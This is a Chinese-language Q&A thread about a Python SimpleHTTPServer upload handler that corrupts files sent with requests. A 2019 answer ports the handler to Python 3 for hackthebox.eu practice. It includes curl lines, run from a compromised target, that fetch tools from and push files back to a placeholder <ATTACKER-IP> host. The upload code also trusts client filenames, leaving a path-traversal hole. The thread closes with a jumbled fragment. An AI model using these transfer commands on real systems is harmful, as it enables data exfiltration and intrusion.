我正在使用 SimpleHTTPServer 的 do_POST 方法来接收文件。如果我使用curl上传png文件，该脚本工作正常，但每当我使用python请求库上传文件时，文件上传但会损坏。这是 SimpleHTTPServer 代码
#!/usr/bin/env python
# Simple HTTP Server With Upload.
import os
import posixpath
import BaseHTTPServer
import urllib
import cgi
import shutil
import mimetypes
import re
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO
class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
# Simple HTTP request handler with POST commands.
def do_POST(self):
"""Serve a POST request."""
r, info = self.deal_post_data()
print r, info, "by: ", self.client_address
f = StringIO()
if r:
f.write("<strong>Success:</strong>")
else:
f.write("<strong>Failed:</strong>")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.send_header("Content-Length", str(length))
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def deal_post_data(self):
print self.headers
boundary = self.headers.plisttext.split("=")[1]
print 'Boundary %s' %boundary
remainbytes = int(self.headers['content-length'])
print "Remain Bytes %s" %remainbytes
line = self.rfile.readline()
remainbytes -= len(line)
if not boundary in line:
return (False, "Content NOT begin with boundary")
line = self.rfile.readline()
remainbytes -= len(line)
fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line)
if not fn:
return (False, "Can't find out file name...")
path = self.translate_path(self.path)
fn = os.path.join(path, fn[0])
line = self.rfile.readline()
remainbytes -= len(line)
line = self.rfile.readline()
remainbytes -= len(line)
try:
out = open(fn, 'wb')
except IOError:
return (False, "Can't create file to write, do you have permission to write?")
preline = self.rfile.readline()
remainbytes -= len(preline)
while remainbytes > 0:
line = self.rfile.readline()
remainbytes -= len(line)
if boundary in line:
preline = preline[0:-1]
if preline.endswith('\r'):
preline = preline[0:-1]
out.write(preline)
out.close()
return (True, "File '%s' upload success!" % fn)
else:
out.write(preline)
preline = line
return (False, "Unexpect Ends of data.")
def translate_path(self, path):
"""Translate a /-separated PATH to the local filename syntax.
Components that mean special things to the local file system
(e.g. drive or directory names) are ignored. (XXX They should
probably be diagnosed.)
"""
# abandon query parameters
path = path.split('?',1)[0]
path = path.split('#',1)[0]
path = posixpath.normpath(urllib.unquote(path))
words = path.split('/')
words = filter(None, words)
path = os.getcwd()
for word in words:
drive, word = os.path.splitdrive(word)
head, word = os.path.split(word)
if word in (os.curdir, os.pardir): continue
path = os.path.join(path, word)
return path
def copyfile(self, source, outputfile):
"""Copy all data between two file objects.
The SOURCE argument is a file object open for reading
(or anything with a read() method) and the DESTINATION
argument is a file object open for writing (or
anything with a write() method).
The only reason for overriding this would be to change
the block size or perhaps to replace newlines by CRLF
-- note however that this the default server uses this
to copy binary data as well.
"""
shutil.copyfileobj(source, outputfile)
def test(HandlerClass = SimpleHTTPRequestHandler,
ServerClass = BaseHTTPServer.HTTPServer):
BaseHTTPServer.test(HandlerClass, ServerClass)
if __name__ == '__main__':
test()
上传文件的客户端代码在这里
#!/usr/bin/python
import requests
files = {'file': open('test.png', 'rb')}
r = requests.post('http://192.168.5.134:8000', files=files)
print r.request.headers
文件已成功上传，但已损坏。
使用curl [curl -F '[email protected]' 192.168.5.134:8000/ -v ]，文件上传并打开成功。
python请求代码有什么问题吗？
2019 年更新：我今天在 hackthebox.eu 上玩时正在寻找此功能。我对 Python 不太了解，但我最终采用了这个示例并将其移植到 Python 3，因为 Python 2 在这一点上基本上已经死了。
希望这对 2019 年寻找此内容的人有所帮助，我总是很高兴听到有关改进代码的方法。获取它： https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c
感谢提问者，以及那些评论信息的人！
编辑：我被要求粘贴代码，不用担心。为了简洁起见，我删除了一些评论，所以这里有一些注释：
从包含工具/数据的文件夹或您要关闭的盒子中的攻击设备运行脚本。从目标 PC 连接到它，可以简单方便地来回推送文件。
# Usage - connect from a shell on the target machine:
# Download a file from your attack device:
curl -O http://<ATTACKER-IP>:44444/<FILENAME>
# Upload a file back to your attack device:
curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/
# Multiple file upload supported, just add more -F 'file=@<FILENAME>'
# parameters to the command line.
curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/
代码：
#!/usr/env python3
import http.server
import socketserver
import io
import cgi
# Change this to serve on a different port
PORT = 44444
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
r, info = self.deal_post_data()
print(r, info, "by: ", self.client_address)
f = io.BytesIO()
if r:
f.write(b"Success\n")
else:
f.write(b"Failed\n")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.send_header("Content-Length", str(length))
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def deal_post_data(self):
ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
if ctype == 'multipart/form-data':
form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
print (type(form))
try:
if isinstance(form["file"], list):
for record in form["file"]:
open("./%s"%record.filename, "wb").write(record.file.read())
else:
open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
except IOError:
return (False, "Can't create file to write, do you have permission to write?")
return (True, "Files uploaded")
Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()
curlrequestcurlrequests将
preline = self.rfile.readline()if line.strip():
preline = line
else:
preline = self.rfile.readline()